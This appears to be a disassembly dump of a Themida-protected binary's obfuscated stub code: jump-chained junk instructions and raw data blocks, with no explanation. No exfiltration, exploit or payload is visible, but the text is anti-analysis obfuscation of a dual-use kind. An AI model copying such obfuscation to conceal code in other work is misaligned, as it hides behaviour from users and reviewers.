		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54D4CF
; ---------------------------------------------------------------------------
		db 0B9h, 8Fh, 24h
		dd 0E9E95817h, 5EFFFFDDh, 0FFFE94E9h, 2BE56FFh,	1000000h
		dd 24348BF3h, 4C481h, 0E9530000h, 4270h
; ---------------------------------------------------------------------------


loc_548E00:				; CODE XREF: Themida_:0054F56Aj
		pop	esi
		push	edx
		jmp	loc_54C1C2
; ---------------------------------------------------------------------------
		db 66h
		dd 66243C87h, 665A4E68h, 66243C89h, 66241431h, 66241433h
		dd 66241431h, 14F76652h, 0E95A6624h, 49F2h
; ---------------------------------------------------------------------------


loc_548E2C:				; CODE XREF: Themida_:0054A22Cj
		add	esp, 4
		add	esp, 4
		push	6907h
		jmp	loc_54AB16
; ---------------------------------------------------------------------------
		db 66h
		dd 53240C8Bh, 0FFC98CE9h, 241C87FFh, 240C895Ch,	0C181E189h
		dd 4, 4BE56h, 0EC810000h, 4, 68240489h,	7C1E4495h, 0B50FE958h
		dd 0EE80FFFFh, 0A6B652E3h, 0E95AF028h, 6563h
; ---------------------------------------------------------------------------


loc_548E80:				; CODE XREF: Themida_:0054F321j
		mov	esi, ebx
		mov	ebx, [esp]
		jmp	loc_54E153
; ---------------------------------------------------------------------------


loc_548E8A:				; CODE XREF: Themida_:005464BBj
		jnz	loc_546D46
		push	3E16h
		jmp	loc_5454B7
; ---------------------------------------------------------------------------
		dw 4D68h
		dd 89000018h, 2C812414h, 531F7624h, 0D0E95941h,	5B00003Ch
		dd 843E9h, 79D76800h, 3C890000h, 0AE1BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548EC2:				; CODE XREF: Themida_:0054E2E0j
		pop	ebp
		shr	edx, 6
		push	ebx
		mov	ebx, 639C1EC2h
		jmp	loc_548FCD
; ---------------------------------------------------------------------------
		db 0FFh, 30h, 0E9h
		dd 0FFFFAB48h
; ---------------------------------------------------------------------------


loc_548ED8:				; CODE XREF: Themida_:0054C2F8j
		add	esi, 0FFFFFFFFh
		jmp	loc_5460C3
; ---------------------------------------------------------------------------
		dd 486BBD55h, 0E98949B6h, 1B1EE9h, 6C78000h, 3ADDE9h, 0EC815900h
		dd 4, 0FF240C89h, 0E4E9240Ch, 83FFFFC4h, 0C8704C1h, 48F5C24h
		dd 69E3E924h, 0BA0000h,	29000000h, 5AD589EAh, 64BBF57h
		dd 0FD311F1Fh, 34EDE9h,	24148B00h, 4C481h, 0FF550000h
		dd 5D042474h, 5C24048Fh, 9C240420h, 0FFD92EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548F49:				; CODE XREF: Themida_:0054F897j
		push	edi
		mov	edi, 3F2C5038h
		jmp	loc_54F359
; ---------------------------------------------------------------------------
		dd 2434FF5Ch, 8306859h,	2C890000h, 618C6824h, 24890000h
		dd 4BB5324h, 0E9000000h, 56E4h,	58F2C681h, 0F229F03Ah
		dd 6036E9h, 6405BE00h, 0DEF76797h, 6150EE81h, 0FDE916C8h
		dd 8000004Bh, 0EA28C2F5h, 0DDB9E959h, 0DF68FFFFh, 0E900000Ch
		dd 0FFFFDC87h
; ---------------------------------------------------------------------------


loc_548FA8:				; CODE XREF: Themida_:0054B9DAj
		mov	ebx, 0
		add	ebx, 3C945BA4h
		jmp	loc_54F59B
; ---------------------------------------------------------------------------
		dd 8758C501h, 33E9242Ch, 1FFFFE7h, 24148BD6h, 3C4EE9h
		db 0
; ---------------------------------------------------------------------------


loc_548FCD:				; CODE XREF: Themida_:00548ECCj
		inc	ebx
		jmp	loc_54C873
; ---------------------------------------------------------------------------
		db 52h
		dd 0EA8021B2h, 0D0D2F6EAh, 0E9DAF6EAh, 5ED8h
; ---------------------------------------------------------------------------


loc_548FE4:				; CODE XREF: Themida_:0054B624j
		mov	edi, [esp]
		add	esp, 4
		add	esi, ebx
		pop	ebx
		push	33DDh
		mov	[esp], ebx
		push	0E1Eh
		jmp	loc_543E2F
; ---------------------------------------------------------------------------


loc_549002:				; CODE XREF: Themida_:00549AAAj
		xor	eax, 59F75FF1h
		mov	ebx, eax
		jmp	loc_545206
; ---------------------------------------------------------------------------


loc_54900E:				; CODE XREF: Themida_:00549FF9j
		push	7FBEh
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		sub	esi, 5BFB49ABh
		add	esi, edi
		push	ebp
		mov	ebp, 63935401h
		dec	ebp
		and	ebp, 76F44291h
		jmp	loc_54D5FB
; ---------------------------------------------------------------------------


loc_549038:				; CODE XREF: Themida_:005482A9j
		inc	bx
		add	bx, 0F464h
		jmp	loc_547D76
; ---------------------------------------------------------------------------
		dd 902047C7h, 516A7912h, 0E610C7B9h, 204F2914h,	552FE9h
		dd 0AABE5600h, 0C148F23Ah, 0EEC102E6h, 0B0F68107h, 0D154174Ah
		dd 4D11E9EEh, 29680000h, 89000018h, 0E589242Ch,	0FFD739E9h
		dd 1ABB53FFh, 8145DF2Eh, 88077BCBh, 2DD4E975h, 8B660000h
		dd 0BEE9240Ch, 59000031h, 4C481h, 0EC810000h, 4, 11DBE9h
		dd 242C8900h, 0B850E589h, 21090A3Ch, 8C05E0D1h,	1BDEDEBh
		dd 24048BC5h, 5704C483h, 4BFh, 5FFD0100h, 0FFB7CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5490D5:				; CODE XREF: Themida_:0054D676j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		db 1
		dd 0B2C281FAh, 0E91EBC30h, 0FFFFE9A4h
; ---------------------------------------------------------------------------


loc_5490EC:				; CODE XREF: Themida_:005479EFj
		add	ecx, 7628FB49h
		sub	edi, ecx
		jmp	loc_5485B7
; ---------------------------------------------------------------------------


loc_5490F9:				; CODE XREF: Themida_:0054AC7Fj
		pop	edi
		shl	ebx, 3
		inc	ebx
		xor	ebx, 8880872Eh
		xor	ecx, ebx
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54EAA0
; ---------------------------------------------------------------------------
		db 1
		dd 0F5E5EF7h, 34FFC0B6h, 69D36887h, 2C890000h, 84BE5624h
		dd 0E95DD964h, 135h, 343668h, 2F8EE900h, 0F6810000h, 30DC6618h
		dd 0E681D6F7h, 41BA10CEh, 0EEC1D6F7h, 8DEE8106h, 8996E7D9h
		dd 0BD555EF1h, 5254333Ch, 2657E9h, 5BE95800h, 56FFFFE3h
		dd 3F30C8BEh, 0E3E9465Eh, 81FFFFDFh, 671799C9h,	81D1F769h
		dd 7765B1C9h, 0B5F18133h, 1B3FFE5h, 0E95359CBh,	4C15h
		dd 0FDE7E956h, 48BFFFFh, 15EBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5491A2:				; CODE XREF: Themida_:00545DD2j
		push	0B4578DBh
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	2E00FA6h
		pop	edi
		xor	ebx, edi
		jmp	loc_54C627
; ---------------------------------------------------------------------------
		dw 4CBAh
		dd 116167Dh, 8B042454h,	0C4832414h, 50BAE904h, 148B0000h
		dd 4C48124h, 81000000h,	0FA7E74C3h, 0B4BDE920h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5491E6:				; CODE XREF: Themida_:00546BC7j
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5468B2
; ---------------------------------------------------------------------------
		dd 0E8743825h, 0F5392D6Dh, 0B9E9BFFEh, 66FFFFAEh, 50243C8Bh
		dd 405E089h, 83000000h,	48702C0h, 31665C24h, 3366243Ch
		dd 3166243Ch, 0A5E9243Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_549237:				; CODE XREF: Themida_:00546D91j
		push	ebx
		mov	ebx, 135B49C4h
		add	ebx, 3655F5CAh
		sub	edi, ebx
		pop	ebx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_54E376
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 16D1E9h, 0E9815F00h, 1A5861CBh, 3337E9h
		dd 81D6F700h, 0FFFFFFC6h, 66BD55FFh, 2932287Fh,	0F5895DEEh
		dd 0F890E95Eh, 0BF57FFFFh, 4, 815FFB01h, 2C3h, 74FF5300h
		dd 34FF0424h
		db 24h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_5477A1
; ---------------------------------------------------------------------------
		db 59h
		dd 0BB04D828h, 59D868h,	0B12E900h, 0B9B40000h, 0E958E300h
		dd 59BAh, 4EC83ADh, 57240C89h, 5A816855h, 2C8B38D5h, 4C48124h
		dd 0C1000000h, 3EE906E5h, 0B8000006h, 67B748E8h, 2D03E0C1h
		dd 398E388Dh, 0FFD043E9h, 6F5F05FFh, 348B298Ch,	0A759E924h
		dd 3CB7FFFFh, 665BFD88h, 0F1B050h, 0F0BFE9C5h, 1C87FFFFh
		dd 0E5E95C24h, 5E000050h, 57B9515Ah, 0E96FAC7Dh, 0FFFFC474h
		dd 0DB20EA81h, 0D6315DF2h, 215AE95Ah, 0CF810000h, 758C3E91h
		dd 0E7C1EFD1h, 9AC78103h, 8154734Eh, 631129EFh,	0E9F9010Ch
		dd 0FFFFFF11h
; ---------------------------------------------------------------------------


loc_54934C:				; CODE XREF: Themida_:00546736j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_544D00
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 0E9000000h, 1E31h,	148BD104h, 4C48324h, 0D8006A2Ch
		dd 0E52C6A04h, 5801E9h,	72D7BD00h, 0F4E9673Ch
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54938B:				; CODE XREF: Themida_:00548472j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_544C94
; ---------------------------------------------------------------------------


loc_549396:				; CODE XREF: Themida_:005441A2j
		mov	ecx, 50A43DD7h
		xor	ecx, 7E9C0AF7h
		sub	ecx, 24C37652h
		jmp	loc_54CDA1
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0FFFFE894h, 405h, 4C08300h, 1CEA68h, 24048900h
		dd 42474FFh, 24048F58h,	5202E9h, 24348700h, 5524248Bh
		dd 33D4E9h, 0E94F2400h,	0FFFFA788h
; ---------------------------------------------------------------------------


loc_5493E4:				; CODE XREF: Themida_:0054B00Aj
		push	eax
		jmp	loc_544798
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 77A67AD0h, 8104EAC1h, 4F62E6E2h, 5E2C165h, 5C7ABE56h
		dd 0E6816B13h, 2A245972h, 0F7DE874Eh, 0C1DE87D3h, 0BEE907EEh
		dd 51000065h, 0FFE349E9h, 2C01B8FFh, 0D82963C1h, 58C1895Bh
		dd 16E8BF57h, 0FBE93CBCh, 58FFFFFEh, 4B951h, 0E9560000h
		dd 0CB7h, 0E904C483h, 0FFFFAA4Bh, 0E924248Bh, 0FFFFA5D0h
		dd 4C281h, 0DE90000h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54945B:				; CODE XREF: Themida_:0054F6CAj
		push	edi
		jmp	loc_54D9EF
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	ebp
		mov	ebp, 757E49D2h
		jmp	loc_549D11
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BE5605E1h, 0EDF47637h, 0E95EF129h, 3FBEh, 80CAC380h
		dd 805A0DC3h, 0E95269C3h, 0FFFFF31Ah, 8B243C87h, 0FDE92424h
		dd 81FFFFD3h, 989195EEh, 5EF389F6h, 8102E3C1h, 4C264BEBh
		dd 0D1E952F5h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5494C3:				; CODE XREF: Themida_:0054D96Ej
		push	ebx
		mov	bh, 0F6h
		sub	bh, 0D9h
		jmp	loc_547A79
; ---------------------------------------------------------------------------


loc_5494CE:				; CODE XREF: Themida_:0054B13Aj
		add	ebp, 0E50AD3EBh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_544198
; ---------------------------------------------------------------------------
		dd 0FFA53FE9h, 68FFh, 8BE90000h, 52000019h, 2223768h, 0D770E93Dh
		dd 0B4BEFFFFh, 0E96A7B5Ah, 0FFFFCE23h, 2CE0E681h, 17E91835h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54950B:				; CODE XREF: Themida_:0054BF56j
		mov	[esp], ecx
		mov	ecx, 4BC535A6h
		jmp	loc_54F966
; ---------------------------------------------------------------------------


loc_549518:				; CODE XREF: Themida_:0054BCF7j
		pop	edx
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		jmp	loc_5459F5
; ---------------------------------------------------------------------------
aS8a		db ']é8a',0
		db 0
; ---------------------------------------------------------------------------


loc_54953D:				; CODE XREF: Themida_:00547508j
		mov	esi, 56551E8h
		add	eax, 63E33259h
		add	eax, esi
		jmp	loc_5499FD
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0AE682404h, 0E9000056h, 2A46h
; ---------------------------------------------------------------------------


loc_54955C:				; CODE XREF: Themida_:00543B06j
		mov	[esp], ecx
		mov	ecx, 10102FCCh
		neg	ecx
		shl	ecx, 4
		jmp	loc_54A9DE
; ---------------------------------------------------------------------------


loc_54956E:				; CODE XREF: Themida_:0054C37Ej
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 577B1C89h
		sub	ebx, 4E4E5FE8h
		add	ebx, 83B6B4Eh
		sub	ebx, eax
		sub	ebx, 83B6B4Eh
		jmp	loc_54CF9E
; ---------------------------------------------------------------------------


loc_549593:				; CODE XREF: Themida_:0054792Dj
		mov	[esp], edi
		push	edx
		mov	edx, 4A286B6Bh
		push	ecx
		jmp	loc_54C171
; ---------------------------------------------------------------------------


loc_5495A2:				; CODE XREF: Themida_:0054C633j
		xchg	edi, edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3D9F0706h
		xor	edx, ebp
		mov	ebp, [esp]
		jmp	loc_545418
; ---------------------------------------------------------------------------


loc_5495BC:				; CODE XREF: Themida_:00544A53j
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_543E18
; ---------------------------------------------------------------------------


loc_5495C9:				; CODE XREF: Themida_:0054B3A6j
		and	ebp, ebx
		pop	ebx
		dec	ebp
		and	ebp, 5067278Dh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5D7257C4h
		push	ebx
		mov	ebx, esp
		jmp	loc_5471FA
; ---------------------------------------------------------------------------
		dw 37B9h
		dd 4122A108h, 8D29BD55h, 91E90528h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5495F7:				; CODE XREF: Themida_:00547155j
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, ebx
		mov	edi, esi
		pop	esi
		push	ebx
		mov	ebx, edi
		push	edx
		mov	edx, ebx
		mov	eax, edx
		jmp	loc_5441C7
; ---------------------------------------------------------------------------
		dw 0F268h
		dd 0E9000006h, 0FFFFADB0h, 4C1815Ah, 87000000h,	248B240Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	5656h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_543A20
; ---------------------------------------------------------------------------


loc_54964C:				; CODE XREF: Themida_:0054ED61j
		push	1B12h
		mov	[esp], ecx
		mov	cl, 0Ah
		add	cl, 0C7h
		push	ebx
		mov	bh, 0BDh
		sub	bh, 3Fh
		xor	cl, bh
		jmp	loc_54811F
; ---------------------------------------------------------------------------
		dw 0CAFEh
		dd 0E9D3EA80h, 0FFFFE7E5h, 4C2835Fh, 5C241487h,	5C24048Fh
		dd 9C240CFEh, 0FFA39BE9h, 6037BDFFh, 0CD814EC4h, 3ED0325Ah
		dd 0B850h, 0A42D0000h, 2967B151h, 51A405E8h, 0C58967B1h
		dd 0E92434FFh, 36D2h
; ---------------------------------------------------------------------------


loc_5496AC:				; CODE XREF: Themida_:0054A7F7j
		push	332742CFh
		mov	eax, [esp]
		jmp	loc_544213
; ---------------------------------------------------------------------------
aUNSo		db 'U½Ø"­',1Bh,'éO',8,0
		align 4
		dd 0CB80DBB3h, 0ACEB8008h, 8003E3C0h, 0E3C0A5F3h, 0F4F38006h
		dd 665BDE00h, 0E9F02858h, 0FFFFE5CAh, 37E6866h,	24048966h
		dd 0B75385B0h, 0E9CFFECFh, 0FFFFDC80h, 559C801h, 2, 31240433h
		dd 4332404h, 1665C24h, 0E99C2404h, 0FFFFC0DCh
; ---------------------------------------------------------------------------


loc_549714:				; CODE XREF: Themida_:0054C9A1j
		push	6036h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_54E9DB
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 57444D7h, 0ED81D501h, 57444D7h, 0FFEDABE9h, 4C483FFh
		dd 4EC81h, 4890000h, 68E08924h,	14F3h, 53243489h, 22301CBBh
		dd 0C4EDE944h, 8141FFFFh, 5CB438C1h, 0CCF18134h, 503ACE32h
		dd 523309B8h, 58C12965h, 0E959CF01h, 0FFFFE654h, 9537C381h
		dd 0D801C341h, 0BD9E9h,	14896600h, 6183E924h, 56500000h
		dd 0D0F75E58h, 24348750h, 3487D6F7h, 567DE924h,	0E95C0000h
		dd 1FE3h, 809AB353h, 0E38057F3h, 57736875h, 0C890000h
		dd 5288B524h, 0E680C2B6h, 0CB75397h, 0FFF52FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5497C9:				; CODE XREF: Themida_:0054EE7Fj
		push	8E9h
		jmp	loc_5448AF
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0BFF7F581h, 97E93FE5h, 2CFFFFC7h, 74B65254h,	6602EC83h
		dd 0E9240489h, 702h, 4C18159h, 56000000h, 2BEh,	0A1E95200h
		dd 68000029h, 2A54h, 53A468h, 24248900h, 4240481h, 0E9000000h
		dd 0FFFFAC04h, 872414F7h, 87402404h, 815D2404h,	4ECh, 530CE900h
		dd 835C0000h, 48704C0h,	24248B24h, 520668h, 241C8900h
		dd 0F8786CBBh, 0F1BE5674h, 0E9614814h, 0FFFFD5BBh
; ---------------------------------------------------------------------------


loc_549854:				; CODE XREF: Themida_:0054BF1Aj
		pop	ebx
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		pop	dword ptr [edx+30h]
		mov	eax, [esp]
		add	esp, 4
		popa
		popf
		jmp	locret_5442CD
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 5D000000h,	2503E8C1h, 49F20DD2h, 0CCE9D8F7h
		dd 81FFFFB4h, 4C4h, 53CB8100h, 0E9529A36h, 3837h, 8704C483h
		dd 2CE92414h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5498A3:				; CODE XREF: Themida_:0054A00Dj
		sub	bl, cl
		jmp	loc_54B6AA
; ---------------------------------------------------------------------------


loc_5498AA:				; CODE XREF: Themida_:0054C0B4j
		xor	edi, 31823BD3h
		jmp	loc_54B059
; ---------------------------------------------------------------------------
aFssvj		db 'fSéVJ',0
		align 4
		dd 0B1E9F701h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5498C3:				; CODE XREF: Themida_:00546E68j
		push	ebx
		mov	edi, [esp]
		jmp	loc_545212
; ---------------------------------------------------------------------------
		dd 0F4BA5251h, 0B9343D57h, 66C63B39h, 0FFAA8BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5498DD:				; CODE XREF: Themida_:005475EAj
		push	ecx
		pop	dword ptr [edi+24h]
		mov	ecx, [esp]
		jmp	loc_54B994
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 3
		dd 257EF181h, 0C68153ABh, 37CF6AD0h, 0EE81CE29h, 37CF6AD0h
		dd 9DC68159h, 0E96FA946h, 0FFFFF142h, 5A66D62Ch, 0D828BA2Ch
		dd 1580E9h, 6ED8100h, 0E9D93A2Ah, 0FFFFBEE0h, 6A68C80Fh
		dd 89000032h, 0EDE92404h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549933:				; CODE XREF: Themida_:0054719Dj
		sub	esi, 49882C7Dh
		add	esi, edi
		jmp	loc_54F6C3
; ---------------------------------------------------------------------------
		dd 240C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_543F48
; ---------------------------------------------------------------------------
		dw 0ECB0h
		dd 802CC8FEh, 527CE9h, 4C48100h, 0E9000000h, 0FFFFC0ECh
		dd 0D0F7D0F7h, 0F2556235h, 58C1296Dh, 12EA685Eh, 0C890000h
		dd 2474FF24h, 48F5904h,	8B665C24h, 0C168240Ch, 89000053h
		dd 5D54242Ch, 4C581h, 29680000h, 89000000h, 4BE2434h, 4E3B9E7Bh
		dd 0ADE9DEF7h, 5200004Dh, 0FFF561E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5499B5:				; CODE XREF: Themida_:00547EBAj
		mov	esi, 4
		sub	edi, 493F0C01h
		sub	edi, esi
		add	edi, 493F0C01h
		pop	esi
		xchg	edi, [esp]
		pop	esp
		jmp	loc_543A46
; ---------------------------------------------------------------------------
		dw 0C480h
		dd 8C48072h, 0E94BEA80h, 0FFFFD67Ch
; ---------------------------------------------------------------------------


loc_5499E0:				; CODE XREF: Themida_:0054B517j
		xor	ebx, esi
		jmp	loc_54F614
; ---------------------------------------------------------------------------


loc_5499E7:				; CODE XREF: Themida_:00549E05j
		shr	ecx, 0Bh
		push	80h
		mov	[esp], ecx
		jmp	loc_548128
; ---------------------------------------------------------------------------
		db 46h
		dd 0FFD912E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5499FD:				; CODE XREF: Themida_:00549549j
		push	ebx
		mov	ebx, 15DD392Ch
		add	ebx, 4E05F92Dh
		sub	eax, 2EBF2837h
		jmp	loc_549CA4
; ---------------------------------------------------------------------------
		db 80h
		dd 0EE8006F6h, 745E930h, 2C890000h, 4BBE924h, 0F1810000h
		dd 300B54E9h, 6998E981h, 0B850710Eh, 33731362h,	8904EC83h
		dd 0F7BB241Ch, 0E9700F27h, 51C6h
; ---------------------------------------------------------------------------


loc_549A48:				; CODE XREF: Themida_:00549E43j
		pop	ebx
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		xchg	esi, [esp]
		push	esi
		xchg	eax, [esp]
		not	eax
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_54F699
; ---------------------------------------------------------------------------


loc_549A73:				; CODE XREF: Themida_:0054CD46j
		push	ecx
		mov	ecx, 0FFFFFFFFh
		add	esi, ecx
		pop	ecx
		jmp	loc_54BDB9
; ---------------------------------------------------------------------------


loc_549A81:				; CODE XREF: Themida_:0054C528j
		pop	edi
		shl	esi, 1
		sub	esi, 2C0F4D61h
		not	esi
		sub	esi, 0A11EE6D2h
		jmp	loc_54CD87
; ---------------------------------------------------------------------------
		db 83h
		dd 8C6804C4h, 0E900003Bh, 389Ah
; ---------------------------------------------------------------------------


loc_549AA4:				; CODE XREF: Themida_:00545128j
		push	7C790E81h
		pop	eax
		jmp	loc_549002
; ---------------------------------------------------------------------------
		db 57h
		dd 0FE2217BFh, 1EEF8125h, 81499470h, 659C20C7h,	0E050E965h
		dd 8168FFFFh, 8900006Bh, 0AFB5240Ch, 8603EDC0h,	86D0F6C5h
		dd 80CDFEC5h, 0E8284FF5h, 4EC8359h, 50241C89h, 1D85E9h
		dd 0E7805C00h, 244EE9B8h, 0EB800000h, 0CAEB800Dh, 0FFD787E9h
		dd 28FFB7FFh, 4B3FE9FAh, 0E9010000h, 0C335E5Dh,	0D5E3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549B16:				; CODE XREF: Themida_:00549B72j
		pop	dword ptr [esp]
		jmp	loc_54B3AB
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 294B3043h, 0EFFFE95Fh, 5259FFFFh, 0C281E289h, 4, 1FEE9h
		dd 0DFB65200h, 35DBE9h,	4FCF6800h, 1C890000h, 96EE924h
		dd 0EC810000h, 4, 54243C89h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_549B16
; ---------------------------------------------------------------------------


loc_549B77:				; CODE XREF: Themida_:0054D6CFj
		inc	ah
		jmp	loc_5452EC
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 2B268h, 24048900h, 0A25FE956h, 895CFFFFh,	0E589242Ch
		dd 4BF57h, 0ED810000h, 50C955ACh, 0FFEEDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549BA9:				; CODE XREF: Themida_:00543FF6j
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 29782D20h
		mov	edx, ecx
		jmp	loc_54AD24
; ---------------------------------------------------------------------------


loc_549BC0:				; CODE XREF: Themida_:00545F52j
		add	ebp, edi
		pop	edi
		and	eax, ebp
		jmp	loc_54A2BC
; ---------------------------------------------------------------------------
		dw 0C02Ch
		dd 0FFFC0EE9h, 800DB2FFh, 0EA80A6EAh, 5AD0287Eh, 0E904E828h
		dd 83240C8Bh, 52E904C4h, 0BD00000Ch, 4,	0E95D5B55h, 36CBh
; ---------------------------------------------------------------------------


loc_549BF8:				; CODE XREF: Themida_:0054CFA4j
		add	ebx, 577B1C89h
		add	ebx, 7EC80898h
		movzx	ax, byte ptr [eax]
		push	6E28h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	4BA4h
		mov	[esp], esi
		mov	esi, 29123998h
		xchg	edx, esi
		neg	edx
		xchg	edx, esi
		dec	esi
		not	esi
		jmp	loc_54A7B0
; ---------------------------------------------------------------------------
		db 0BEh
		dd 62D51F6h, 815EF189h,	4ECh, 24048900h, 1F22E9h, 24048300h
		dd 24148B04h, 4C481h, 0EC830000h, 243C8904h, 4BFh, 5FFA0100h
		dd 3D0AE9h, 4EC8100h, 89000000h, 68502414h, 7278109Dh
		dd 6F230D58h, 0A40534E1h, 530D634Fh, 8F518FBBh,	5EC3813Bh
		dd 0E915BF7Dh, 0FFFFAF10h, 9D1C77FFh, 19665866h, 0E99C2404h
		dd 0FFFF9D7Ch
; ---------------------------------------------------------------------------


loc_549CA4:				; CODE XREF: Themida_:00549A0Ej
		sub	eax, ebx
		add	eax, 2EBF2837h
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	eax, ebx
		sub	eax, 56551E8h
		jmp	loc_548829
; ---------------------------------------------------------------------------
		dw 0C8Bh
aSk2		db '$éŠ2',0
		align 2


loc_549CD2:				; CODE XREF: Themida_:005474DCj
		xor	eax, edi
		pop	edi
		xor	eax, 26AD2F85h
		shr	eax, 5
		push	ebp
		mov	ebp, 6F51770Ah
		sub	ebp, 89DC3F87h
		sub	eax, 6EE447DCh
		jmp	loc_54D693
; ---------------------------------------------------------------------------


loc_549CF3:				; CODE XREF: Themida_:0054CE3Bj
		mov	[esp], eax
		jmp	loc_54EFF7
; ---------------------------------------------------------------------------
		db 1
		dd 0CF215BD9h, 9EC1E959h, 0C483FFFFh, 58C30104h, 1662E9h
		db 0
; ---------------------------------------------------------------------------


loc_549D11:				; CODE XREF: Themida_:0054947Aj
		inc	ebp
		xor	ebp, 757E49D7h
		mov	ebx, ebp
		pop	ebp
		mov	ecx, ebx
		pop	ebx
		jmp	loc_54CC5F
; ---------------------------------------------------------------------------


loc_549D23:				; CODE XREF: Themida_:0054F682j
		not	ebx
		jmp	loc_54FB82
; ---------------------------------------------------------------------------


loc_549D2A:				; CODE XREF: Themida_:0054DC9Fj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54A261
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95204EAh, 5BFDh, 24048F54h, 4240481h, 0E9000000h
		dd 6EAh, 0BB241C89h, 58FA202Ah,	2BE9DE31h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549D5F:				; CODE XREF: Themida_:0054E051j
		push	eax
		jmp	loc_54CE40
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 36EE924h, 248B0000h,	0BB02E924h, 0F800FFFFh,	66C6005Bh
		dd 0E924048Bh, 109Dh, 9C240428h, 0FF9C93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549D8D:				; CODE XREF: Themida_:00543A24j
		push	eax
		mov	ah, 0AEh
		push	ecx
		mov	ch, 0
		or	ch, 0E3h
		jmp	loc_5463EF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E2895200h, 4C281h, 0C2810000h, 4, 0E9241487h
		dd 0FFFFFA7Ah
; ---------------------------------------------------------------------------


loc_549DB8:				; CODE XREF: Themida_:0054D859j
		pop	esi
		jmp	loc_54BE50
; ---------------------------------------------------------------------------


